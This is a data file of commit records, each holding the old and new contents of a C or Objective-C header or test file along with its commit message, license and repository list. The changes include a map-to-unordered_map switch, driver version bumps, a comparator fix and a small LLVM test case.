{"commit":"1503426b0b2601c518da973c3a023f65e925f6c7","old_file":"lib\/Macros.h","new_file":"lib\/Macros.h","old_contents":"","new_contents":"#ifndef __MACROS_H\n#define __MACROS_H\n\n#define LINE_MAX_LEN    1024\n\n#define SPC_ERR         -1\n#define SPC_OK          0\n\n#endif\n","subject":"Define common MACROS in macros.h","message":"Define common MACROS in macros.h\n","lang":"C","license":"apache-2.0","repos":"dannylsl\/SPCleaner"}
{"commit":"7a7251c3693e01b85109856d00c9d455d60ca84b","old_file":"src\/broker.h","new_file":"src\/broker.h","old_contents":"#ifndef BROKER_H_\n#define BROKER_H_\n\n#include <map>\n#include <string>\n#include <zmq.hpp>\n#include \"client.h\"\n#include \"topic.h\"\n#include \"message.h\"\n\nclass Broker {\n  public:\n    Broker(std::string bind, std::string private_key) :\n        bind_(bind), private_key_(private_key) {}\n\n    void main_loop();\n\n  private:\n    void handleMessage(const Message& message);\n    void sendMessage(Client &client, std::vector<std::string> frames);\n    std::string readPrivateKey(std::string path);\n    std::map<std::string,Client> clients_;\n    std::map<std::string,Topic> topics_;\n    zmq::socket_t* socket_;\n    size_t recv_ = 0;\n    size_t sent_ = 0;\n    std::string bind_;\n    std::string private_key_;\n};\n\n#endif\n","new_contents":"#ifndef BROKER_H_\n#define BROKER_H_\n\n#include <unordered_map>\n#include <string>\n#include <zmq.hpp>\n#include \"client.h\"\n#include \"topic.h\"\n#include \"message.h\"\n\nclass Broker {\n  public:\n    Broker(std::string bind, std::string private_key) :\n        bind_(bind), private_key_(private_key) {}\n\n    void main_loop();\n\n  private:\n    void handleMessage(const Message& message);\n    void sendMessage(Client &client, std::vector<std::string> frames);\n    std::string readPrivateKey(std::string path);\n    std::unordered_map<std::string,Client> clients_;\n    std::unordered_map<std::string,Topic> topics_;\n    zmq::socket_t* socket_;\n    size_t recv_ = 0;\n    size_t sent_ = 0;\n    std::string bind_;\n    std::string private_key_;\n};\n\n#endif\n","subject":"Use unordered_map rather than map","message":"Use unordered_map rather than map\n\n    `unordered_map` containers are faster than map containers to\n    access individual elements by their key, although they are\n    generally less efficient for range iteration through a subset\n    of their elements.\n\n    http:\/\/www.cplusplus.com\/reference\/unordered_map\/unordered_map\/\n\nWhich is fine, because we never do range iteration on these maps,\nso use the tiny bit faster one.\n","lang":"C","license":"apache-2.0","repos":"puppetlabs\/mc0d,puppetlabs\/mc0d"}
{"commit":"356293bc7ee39e1bb78bd159187664ffa8d45d1a","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k16\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k17\"\n","subject":"Update driver version to 5.02.00-k17","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k17\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"6b278656f26707d410778d42cd6f789b5c53c41b","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k6\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k7\"\n","subject":"Update driver version to 5.02.00-k7","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k7\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <91e2c378bdc9ac58358cd03ebb6c74f7db9aa049@parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"a664f6516a1d90147c84d64eaacea8d799b00e83","old_file":"src\/Renamer.h","new_file":"src\/Renamer.h","old_contents":"#pragma once\n\n#include <map>\n#include <string>\n#include \"ClassFile.h\"\n\nusing namespace std;\n\nstruct SourceId\n{\n  bool isMethod; \/\/ otherwise, field\n  string className;\n  string name;\n\n  bool operator < (SourceId const& other) const\n  {\n    if(isMethod < other.isMethod)\n      return true;\n\n    if(className < other.className)\n      return true;\n\n    if(name < other.name)\n      return true;\n\n    return false;\n  }\n};\n\nextern map<string, string> classRemap;\nextern map<SourceId, string> memberRemap;\n\nvoid doRenamings(ClassFile& class_);\n\n","new_contents":"#pragma once\n\n#include <map>\n#include <string>\n#include \"ClassFile.h\"\n\nusing namespace std;\n\nstruct SourceId\n{\n  bool isMethod; \/\/ otherwise, field\n  string className;\n  string name;\n\n  bool operator < (SourceId const& other) const\n  {\n    if(isMethod < other.isMethod)\n      return true;\n\n    if(isMethod > other.isMethod)\n      return false;\n\n    if(className < other.className)\n      return true;\n\n    if(className > other.className)\n      return false;\n\n    return name < other.name;\n  }\n};\n\nextern map<string, string> classRemap;\nextern map<SourceId, string> memberRemap;\n\nvoid doRenamings(ClassFile& class_);\n\n","subject":"Fix implementation of '<' operator","message":"Fix implementation of '<' operator\n","lang":"C","license":"agpl-3.0","repos":"Ace17\/jaremap,Ace17\/jaremap,Ace17\/jaremap,Ace17\/jaremap"}
{"commit":"44591595ecc956d5e92064ae41b01014509cfa00","old_file":"common\/thread\/thread_posix.h","new_file":"common\/thread\/thread_posix.h","old_contents":"","new_contents":"#ifndef\tTHREAD_POSIX_H\n#define\tTHREAD_POSIX_H\n\nstruct ThreadState {\n\tpthread_t td_;\n\n\tstatic void start(pthread_key_t key, Thread *td)\n\t{\n\t\tpthread_t self = pthread_self();\n\n\t\ttd->state_->td_ = self;\n\n\t\tint rv = pthread_setspecific(key, td);\n\t\tif (rv == -1) {\n\t\t\tERROR(\"\/thread\/state\/start\") << \"Could not set thread-local Thread pointer.\";\n\t\t\treturn;\n\t\t}\n\n#if defined(__FreeBSD__)\n\t\tpthread_set_name_np(self, td->name_.c_str());\n#elif defined(__APPLE__)\n\t\tpthread_setname_np(td->name_.c_str());\n#endif\n\t}\n};\n\n\n\n#endif \/* !THREAD_POSIX_H *\/\n","subject":"Add missed file in previous revision.","message":"Add missed file in previous revision.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@605 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"diegows\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy"}
{"commit":"2908999b320714a97fe5223d0f51237554392e48","old_file":"framework\/Source\/GPUImageFilterPipeline.h","new_file":"framework\/Source\/GPUImageFilterPipeline.h","old_contents":"#import <Foundation\/Foundation.h>\n#import \"GPUImageFilter.h\"\n\n@interface GPUImageFilterPipeline : NSObject\n\n@property (strong) NSMutableArray *filters;\n\n@property (strong) GPUImageOutput *input;\n@property (strong) id <GPUImageInput> output;\n\n- (id) initWithOrderedFilters:(NSArray*) filters input:(GPUImageOutput*)input output:(id <GPUImageInput>)output;\n- (id) initWithConfiguration:(NSDictionary*) configuration input:(GPUImageOutput*)input output:(id <GPUImageInput>)output;\n- (id) initWithConfigurationFile:(NSURL*) configuration input:(GPUImageOutput*)input output:(id <GPUImageInput>)output;\n\n- (void) addFilter:(GPUImageFilter*)filter;\n- (void) addFilter:(GPUImageFilter*)filter atIndex:(NSUInteger)insertIndex;\n- (void) replaceFilterAtIndex:(NSUInteger)index withFilter:(GPUImageFilter*)filter;\n- (void) replaceAllFilters:(NSArray*) newFilters;\n- (void) removeFilterAtIndex:(NSUInteger)index;\n- (void) removeAllFilters;\n\n- (UIImage *) currentFilteredFrame;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n#import \"GPUImageFilter.h\"\n\n@interface GPUImageFilterPipeline : NSObject\n\n@property (strong) NSMutableArray *filters;\n\n@property (strong) GPUImageOutput *input;\n@property (strong) id <GPUImageInput> output;\n\n- (id) initWithOrderedFilters:(NSArray*) filters input:(GPUImageOutput*)input output:(id <GPUImageInput>)output;\n- (id) initWithConfiguration:(NSDictionary*) configuration input:(GPUImageOutput*)input output:(id <GPUImageInput>)output;\n- (id) initWithConfigurationFile:(NSURL*) configuration input:(GPUImageOutput*)input output:(id <GPUImageInput>)output;\n\n- (void) addFilter:(GPUImageFilter*)filter;\n- (void) addFilter:(GPUImageFilter*)filter atIndex:(NSUInteger)insertIndex;\n- (void) replaceFilterAtIndex:(NSUInteger)index withFilter:(GPUImageFilter*)filter;\n- (void) replaceAllFilters:(NSArray*) newFilters;\n- (void) removeFilterAtIndex:(NSUInteger)index;\n- (void) removeAllFilters;\n\n- (UIImage *) currentFilteredFrame;\n- (CGImageRef) newCGImageFromCurrentFilteredFrame;\n\n@end\n","subject":"Make pipeline work for CGImage processing (missed out the header file)","message":"Bugfix: Make pipeline work for CGImage processing (missed out the header file)\n","lang":"C","license":"bsd-3-clause","repos":"HSFGitHub\/GPUImage,stelabouras\/GPUImage,Creolophus\/GPUImage,Kevin775263419\/GPUImage,jimydotorg\/GGGPUImage,StratAguilar\/GPUImage,tuo\/GPUImage,3drobotics\/GPUImage,yshiga\/GPUImage,geowarsong\/GPUImage,Matzo\/GPUImage,rromanchuk\/GPUImage,hgl888\/GPUImage,mingming1986\/GPUImage,BradLarson\/GPUImage,ozetadev\/GPUImage,powerhome\/GPUImage,tuo\/GPUImage,lauraskelton\/GPUImage,drewwilson\/GPUImage,AmiaoCat\/GPUImage,BradLarson\/GPUImage,njucsyyh\/GPUImage,BlessNeo\/GPUImage,u-engine\/GPUImage,liduanw\/GPUImage,dachaoisme\/GPUImage,Naithar\/GPUImage,alex-learn\/GPUImage,evfemist\/GPUImage,cesare-montresor\/GPUImage,cnbin\/GPUImage,hgl888\/GPUImage,powerhome\/GPUImage,lydonchandra\/GPUImage,agan112\/GPUImage,LIQC\/GPUImage,jimydotorg\/GGGPUImage,jsharp83\/GPUImage,msfeldstein\/GPUImage,kalsariyac\/GPUImage,hanton\/GPUImage,stelabouras\/GPUImage,cesare-montresor\/GPUImage,wfxiang08\/GPUImage,silvansky\/GPUImage,lauraskelton\/GPUImage,AskaCai\/GPUImage,dachaoisme\/GPUImage,PlanetaToBe\/GPUImage,efremidze\/GPUImage,hanangellove\/GPUImage,sujeking\/GPUImage,0x4d52\/GPUImage,BlessNeo\/GPUImage,lily4ever\/GPUImage,zhengfuzhe2013\/GPUImage,xingyuniu\/GPUImage,KBvsMJ\/GPUImage,cocologics\/GPUImage,YuAo\/GPUImage,hanangellove\/GPUImage,liduanw\/GPUImage,jianwoo\/GPUImage,Slin\/GPUImage,pheed\/GPUImage,SinnerSchraderMobileMirrors\/GPUImage,rtsbtx\/GPUImage,mattwymore\/GPUImage,zzhhui\/GPUImage,sujeking\/GPUImage,kalsariyac\/GPUImage,alex-learn\/GPUImage,birthmark\/GPUImage,Dexterp37\/GPUImage,3drobotics\/GPUImage,jianwoo\/GPUImage,howandhao\/GPUImage,sdonly\/GPUImage,0x4d52\/GPUImage,FiftyThree\/GPUImage,rtsbtx\/GPUImage,mervekeles\/repo,lydonchandra\/GPUImage,wangwei1237\/GPUImage,evfemist\/GPUImage,ohad7\/GPUImage,picmonkey\/GPUImage,BradLarson\/GPUImage,pheed\/GPUImage,xqz001\/GPUImage,pengleelove\/GPUImage,TimorCan\/GPUImage,lacyrhoades\/GPUImage,SanChain\/GPUImage,zzhhui\/GPUImage,SanChain\/GPUImage,wangwei1237\/GPUImage,powerhome\/GPUImage,AlanJN\/GPUImage,wfxiang08\/GPUImage,pheed\/GPUImage,hgl888\/GPUImage,wysaid\/GPUImage,appone\/GPUImage,lacyrhoades\/GPUImage,duanhjlt\/GPUImage,duanhjlt\/GPUImage,sansuiso\/GPUImage,zilaiyedaren\/GPUImage,mervekeles\/GPUImage,TuSDK\/GPUImage,ashishgabani\/GPUImage,appone\/GPUImage,wjszf\/GPUImage,sansuiso\/GPUImage,hoanganhx86\/GPUImage,AlanJN\/GPUImage,pcKanso\/GPUImage,njucsyyh\/GPUImage,ozetadev\/GPUImage,bragil-massoud\/GPUImage,jakeva\/GPUImage,drewwilson\/GPUImage,devluyy\/GPUImage,nickplee\/GPUImage,devluyy\/GPUImage,KBvsMJ\/GPUImage,pheed\/GPUImage,Slin\/GPUImage,Matzo\/GPUImage,jackeychens\/GPUImage,shi-yan\/GPUImage,hanangellove\/GPUImage,cocologics\/GPUImage,denivip\/GPUImage,thinkrad\/GPUImage,zhengfuzhe2013\/GPUImage,geowarsong\/GPUImage,jackeychens\/GPUImage,haikusw\/GPUImage,xingyuniu\/GPUImage,SuPair\/GPUImage,yaoxiaoyong\/GPUImage,mumer92\/GPUImage,inb4ohnoes\/GPUImage,zakinaeem\/GPUImage,Kevin775263419\/GPUImage,eighteight\/GPUImage,FiftyThree\/GPUImage,nonoBruce\/GPUImage,937447974\/GPUImage,jackeychens\/GPUImage,shi-yan\/GPUImage,ashishgabani\/GPUImage,ask-fm\/GPUImage,rocklive\/GPUImage,ramoslin02\/GPUImage,RavishankarDuMCA10\/GPUImage,YuAo\/GPUImage,loi32456\/GPUImage,jimydotorg\/GGGPUImage,mervekeles\/repo,hakanw\/GPUImage,sprint84\/GPUImage,mattwymore\/GPUImage,levyleo\/LGPUImage,Learn-IOS\/GPUImage,zakinaeem\/GPUImage,drewwilson\/GPUImage,mumer92\/GPUImage,DavidWangTM\/GPUImage,somegeekintn\/GPUImage,java02014\/GPUImage,yimouleng\/GPUImage,mad102190\/GPUImage,stelabouras\/GPUImage,hakanw\/GPUImage,headupinclouds\/GPUImage,skonb\/GPUImage,Slin\/GPUImage,eighteight\/GPUImage,FiftyThree\/GPUImage,rFlex\/GPUImage,lily4ever\/GPUImage,YuAo\/GPUImage,zhengfuzhe2013\/GPUImage,AmiaoCat\/GPUImage,horaceho\/GPUImage,cocologics\/GPUImage,DepositDev\/GPUImage,AskaCai\/GPUImage,Lcarvajal\/GPUImage,SanjoDeundiak\/GPUImage,java02014\/GPUImage,silvansky\/GPUImage,DavidWangTM\/GPUImage,937447974\/GPUImage,stelabouras\/GPUImage,zakinaeem\/GPUImage,sansuiso\/GPUImage,faceleg\/GPUImage,ohad7\/GPUImage,111minutes\/GPUImage,nickplee\/GPUImage,tastyone\/GPUImage,liduanw\/GPUImage,kalsariyac\/GPUImage,faceleg\/GPUImage,cookov\/GPUImage,gank0326\/GPUImage,yshiga\/GPUImage,UltravisualApp\/GPUImage,odyth\/GPUImage,SuPair\/GPUImage,gank0326\/GPUImage,mervekeles\/GPUImage,jsharp83\/GPUImage,mad102190\/GPUImage,wysaid\/GPUImage,jianwoo\/GPUImage,StratAguilar\/GPUImage,hyperconnect\/GPUImage,jakeva\/GPUImage,RavishankarDuMCA10\/GPUImage,mtxs007\/GPUImage,cocologics\/GPUImage,ask-fm\/GPUImage,jsharp83\/GPUImage,pengleelove\/GPUImage,wjszf\/GPUImage,bragil-massoud\/GPUImage,rromanchuk\/GPUImage,csjlengxiang\/GPUImage,lauraskelton\/GPUImage,SanjoDeundiak\/GPUImage,PlanetaToBe\/GPUImage,hoanganhx86\/GPUImage,mumer92\/GPUImage,howandhao\/GPUImage,hanton\/GPUImage,efremidze\/GPUImage,loi32456\/GPUImage,SanChain\/GPUImage,cookov\/GPUImage,bgulanowski\/GPUImage,mtxs007\/GPUImage,Amnysia\/GPUImage,bgulanowski\/GPUImage,nickplee\/GPUImage,UndaApp\/GPUImage,r3mus\/GPUImage,msfeldstein\/GPUImage,mingming1986\/GPUImage,pengleelove\/GPUImage,birthmark\/GPUImage,Matzo\/GPUImage,tastyone\/GPUImage,picmonkey\/GPUImage,SinnerSchraderMobileMirrors\/GPUImage,ramoslin02\/GPUImage,dawangjiaowolaixunshan\/GPUImage,j364960953\/GPUImage,hakanw\/GPUImage,pevasquez\/GPUImage,SinnerSchraderMobileMirrors\/GPUImage,silvansky\/GPUImage,BlessNeo\/GPUImage,wjszf\/GPUImage,FiftyThree\/GPUImage,Learn-IOS\/GPUImage,skonb\/GPUImage,cesare-montresor\/GPUImage,dawangjiaowolaixunshan\/GPUImage,Lcarvajal\/GPUImage,smule\/GPUImage,pcKanso\/GPUImage,sprint84\/GPUImage,sprint84\/GPUImage,denivip\/GPUImage,IncredibleDucky\/GPUImage,r3mus\/GPUImage,yaoxiaoyong\/GPUImage,hyperconnect\/GPUImage,TuSDK\/GPUImage,eunmin\/GPUImage,3drobotics\/GPUImage,Hybridity\/GPUImage,tastyone\/GPUImage,catbus\/GPUImage,inb4ohnoes\/GPUImage,pevasquez\/GPUImage,appone\/GPUImage,agan112\/GPUImage,headupinclouds\/GPUImage,levyleo\/LGPUImage,eighteight\/GPUImage,DavidWangTM\/GPUImage,thinkrad\/GPUImage,PodRepo\/GPUImage,Naithar\/GPUImage,odyth\/GPUImage,SinnerSchraderMobileMirrors\/GPUImage,tuo\/GPUImage,rromanchuk\/GPUImage,appone\/GPUImage,ohad7\/GPUImage,njucsyyh\/GPUImage,somegeekintn\/GPUImage,0x4d52\/GPUImage,hoanganhx86\/GPUImage,xingyuniu\/GPUImage,Creolophus\/GPUImage,headupinclouds\/GPUImage,cesare-montresor\/GPUImage,sdonly\/GPUImage,UltravisualApp\/GPUImage,zilaiyedaren\/GPUImage,Creolophus\/GPUImage,catbus\/GPUImage,jimydotorg\/GGGPUImage,HSFGitHub\/GPUImage,u-engine\/GPUImage,horaceho\/GPUImage,yimouleng\/GPUImage,howandhao\/GPUImage,LIQC\/GPUImage,bragil-massoud\/GPUImage,csjlengxiang\/GPUImage,u-engine\/GPUImage,KBvsMJ\/GPUImage,j364960953\/GPUImage,IncredibleDucky\/GPUImage,lauraskelton\/GPUImage,Hybridity\/GPUImage,DepositDev\/GPUImage,lauraskelton\/GPUImage,mad102190\/GPUImage,agan112\/GPUImage,picmonkey\/GPUImage,TimorCan\/GPUImage,Learn-IOS\/GPUImage,eunmin\/GPUImage,faceleg\/GPUImage,rocklive\/GPUImage,skonb\/GPUImage,SanjoDeundiak\/GPUImage,odyth\/GPUImage,haikusw\/GPUImage,cnbin\/GPUImage,nonoBruce\/GPUImage,gank0326\/GPUImage,IncredibleDucky\/GPUImage,Amnysia\/GPUImage,smule\/GPUImage,xqz001\/GPUImage,Dexterp37\/GPUImage,rtsbtx\/GPUImage,PodRepo\/GPUImage,UndaApp\/GPUImage,wysaid\/GPUImage,bgulanowski\/GPUImage"}
{"commit":"d2ebdda3f26a149dffac466d734eaf783b53d6d9","old_file":"pkg\/exf\/exf_ad_check_lev4_dir.h","new_file":"pkg\/exf\/exf_ad_check_lev4_dir.h","old_contents":"#ifdef ALLOW_EXF\n\nCADJ STORE StoreForcing1    = tapelev4, key = ilev_4\nCADJ STORE StoreForcing2    = tapelev4, key = ilev_4\nCADJ STORE StoreCTRLS1      = tapelev4, key = ilev_4\n\n# ifdef ALLOW_HFLUX_CONTROL\nCADJ STORE xx_hflux0     = tapelev4, key = ilev_4\nCADJ STORE xx_hflux1     = tapelev4, key = ilev_4\n# endif\n# ifdef ALLOW_SFLUX_CONTROL\nCADJ STORE xx_sflux0     = tapelev4, key = ilev_4\nCADJ STORE xx_sflux1     = tapelev4, key = ilev_4\n# endif\n# ifdef ALLOW_USTRESS_CONTROL\nCADJ STORE xx_tauu0      = tapelev4, key = ilev_4\nCADJ STORE xx_tauu1      = tapelev4, key = ilev_4\n# endif\n# ifdef ALLOW_VSTRESS_CONTROL\nCADJ STORE xx_tauv0      = tapelev4, key = ilev_4\nCADJ STORE xx_tauv1      = tapelev4, key = ilev_4\n# endif\n\n#endif \/* ALLOW_EXF *\/\n","new_contents":"#ifdef ALLOW_EXF\n\nCADJ STORE StoreEXF1        = tapelev4, key = ilev_4\nCADJ STORE StoreEXF2        = tapelev4, key = ilev_4\nCADJ STORE StoreCTRLS1      = tapelev4, key = ilev_4\n\n# ifdef ALLOW_HFLUX_CONTROL\nCADJ STORE xx_hflux0     = tapelev4, key = ilev_4\nCADJ STORE xx_hflux1     = tapelev4, key = ilev_4\n# endif\n# ifdef ALLOW_SFLUX_CONTROL\nCADJ STORE xx_sflux0     = tapelev4, key = ilev_4\nCADJ STORE xx_sflux1     = tapelev4, key = ilev_4\n# endif\n# ifdef ALLOW_USTRESS_CONTROL\nCADJ STORE xx_tauu0      = tapelev4, key = ilev_4\nCADJ STORE xx_tauu1      = tapelev4, key = ilev_4\n# endif\n# ifdef ALLOW_VSTRESS_CONTROL\nCADJ STORE xx_tauv0      = tapelev4, key = ilev_4\nCADJ STORE xx_tauv1      = tapelev4, key = ilev_4\n# endif\n\n#endif \/* ALLOW_EXF *\/\n","subject":"Fix store field for tapelev4 (rarely used).","message":"Fix store field for tapelev4 (rarely used).\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"0dc9990c39043e77c3097cba0d1d26ecd02338c1","old_file":"engine\/mesh.h","new_file":"engine\/mesh.h","old_contents":"#ifndef __ENGINE_MESH_H__\n#define __ENGINE_MESH_H__\n\n#include \"std\/types.h\"\n#include \"gfx\/vector3d.h\"\n\ntypedef struct Triangle {\n  uint16_t p1, p2, p3;\n} TriangleT;\n\ntypedef struct IndexArray {\n  uint16_t count;\n  uint16_t *index;\n} IndexArrayT;\n\ntypedef struct IndexMap {\n  IndexArrayT *vertex;\n  uint16_t *indices;\n} IndexMapT;\n\ntypedef struct Mesh {\n  size_t vertexNum;\n  size_t polygonNum;\n\n  Vector3D *vertex;\n  TriangleT *polygon;\n\n  Vector3D *surfaceNormal;\n  Vector3D *vertexNormal;\n\n  IndexMapT vertexToPoly;\n} MeshT;\n\nMeshT *NewMesh(size_t vertices, size_t triangles);\nMeshT *NewMeshFromFile(const char *fileName);\nvoid DeleteMesh(MeshT *mesh);\nvoid NormalizeMeshSize(MeshT *mesh);\nvoid CenterMeshPosition(MeshT *mesh);\n\nvoid AddSurfaceNormals(MeshT *mesh);\nvoid AddVertexToPolygonMap(MeshT *mesh);\nvoid AddVertexNormals(MeshT *mesh);\n\n#define RSC_MESH_FILE(NAME, FILENAME) \\\n  AddRscSimple(NAME, NewMeshFromFile(FILENAME), (FreeFuncT)DeleteMesh)\n\n#endif\n","new_contents":"#ifndef __ENGINE_MESH_H__\n#define __ENGINE_MESH_H__\n\n#include \"std\/types.h\"\n#include \"gfx\/vector3d.h\"\n\ntypedef struct Triangle {\n  uint16_t p1, p2, p3;\n} TriangleT;\n\ntypedef struct IndexArray {\n  uint16_t count;\n  uint16_t *index;\n} IndexArrayT;\n\ntypedef struct IndexMap {\n  IndexArrayT *vertex;\n  uint16_t *indices;\n} IndexMapT;\n\ntypedef struct Mesh {\n  size_t vertexNum;\n  size_t polygonNum;\n\n  Vector3D *vertex;\n  TriangleT *polygon;\n\n  \/* map from vertex index to list of polygon indices *\/\n  IndexMapT vertexToPoly;\n\n  \/* useful for lighting and backface culling *\/\n  Vector3D *surfaceNormal;\n  Vector3D *vertexNormal;\n} MeshT;\n\nMeshT *NewMesh(size_t vertices, size_t triangles);\nMeshT *NewMeshFromFile(const char *fileName);\nvoid DeleteMesh(MeshT *mesh);\nvoid NormalizeMeshSize(MeshT *mesh);\nvoid CenterMeshPosition(MeshT *mesh);\n\nvoid AddSurfaceNormals(MeshT *mesh);\nvoid AddVertexToPolygonMap(MeshT *mesh);\nvoid AddVertexNormals(MeshT *mesh);\n\n#define RSC_MESH_FILE(NAME, FILENAME) \\\n  AddRscSimple(NAME, NewMeshFromFile(FILENAME), (FreeFuncT)DeleteMesh)\n\n#endif\n","subject":"Add some comments about expected purpose.","message":"Add some comments about expected purpose.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"72727bfb04499b60ca8ed91398fbabf0d88fe4cf","old_file":"include\/parrot\/string_primitives.h","new_file":"include\/parrot\/string_primitives.h","old_contents":"\/* string_funcs.h\n *  Copyright (C) 2001-2003, The Perl Foundation.\n *  SVN Info\n *     $Id$\n *  Overview:\n *     This is the api header for the string subsystem\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_STRING_PRIMITIVES_H_GUARD\n#define PARROT_STRING_PRIMITIVES_H_GUARD\n\n#ifdef PARROT_IN_CORE\n\n\/* Set the directory where ICU finds its data files (encodings,\n   locales, etc.) *\/\nvoid string_set_data_directory(const char *dir);\n\n\/* Convert from any supported encoding, into our internal format *\/\nvoid string_fill_from_buffer(Interp *interp,\n        const void *buffer, UINTVAL len, const char *encoding_name, STRING *s);\n\n\/* Utility method which knows how to uwind a single escape sequence *\/\ntypedef Parrot_UInt2 (*Parrot_unescape_cb)(Parrot_Int4 offset, void *context);\nParrot_UInt4\nstring_unescape_one(Interp *interp, UINTVAL *offset, STRING *string);\n\nUINTVAL\nParrot_char_digit_value(Interp *interp, UINTVAL character);\n\n#endif \/* PARROT_IN_CORE *\/\n#endif \/* PARROT_STRING_PRIMITIVES_H_GUARD *\/\n\n\/*\n * Local variables:\n *   c-file-style: \"parrot\"\n * End:\n * vim: expandtab shiftwidth=4:\n *\/\n","new_contents":"\/* string_funcs.h\n *  Copyright (C) 2001-2003, The Perl Foundation.\n *  SVN Info\n *     $Id$\n *  Overview:\n *     This is the api header for the string subsystem\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_STRING_PRIMITIVES_H_GUARD\n#define PARROT_STRING_PRIMITIVES_H_GUARD\n\n#ifdef PARROT_IN_CORE\n\n\/* Set the directory where ICU finds its data files (encodings,\n   locales, etc.) *\/\nPARROT_API void string_set_data_directory(const char *dir);\n\n\/* Convert from any supported encoding, into our internal format *\/\nPARROT_API void string_fill_from_buffer(Interp *interp,\n        const void *buffer, UINTVAL len, const char *encoding_name, STRING *s);\n\n\/* Utility method which knows how to uwind a single escape sequence *\/\ntypedef Parrot_UInt2 (*Parrot_unescape_cb)(Parrot_Int4 offset, void *context);\nPARROT_API Parrot_UInt4\nstring_unescape_one(Interp *interp, UINTVAL *offset, STRING *string);\n\nPARROT_API UINTVAL\nParrot_char_digit_value(Interp *interp, UINTVAL character);\n\n#endif \/* PARROT_IN_CORE *\/\n#endif \/* PARROT_STRING_PRIMITIVES_H_GUARD *\/\n\n\/*\n * Local variables:\n *   c-file-style: \"parrot\"\n * End:\n * vim: expandtab shiftwidth=4:\n *\/\n","subject":"Fix the build on Win32 by making linkage of various symbols consistent again.","message":"Fix the build on Win32 by making linkage of various symbols consistent again.\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@18778 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot"}
{"commit":"9ad48db6031885c38137fcd3ba919b061e272b10","old_file":"test\/FrontendC\/redef-ext-inline.c","new_file":"test\/FrontendC\/redef-ext-inline.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o -\n\/\/ rdar:\/\/7208839\n\nextern inline int f1 (void) {return 1;}\nint f3 (void) {return f1();}\nint f1 (void) {return 0;}\n","subject":"Add a test case for r81431.","message":"Add a test case for r81431.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@81432 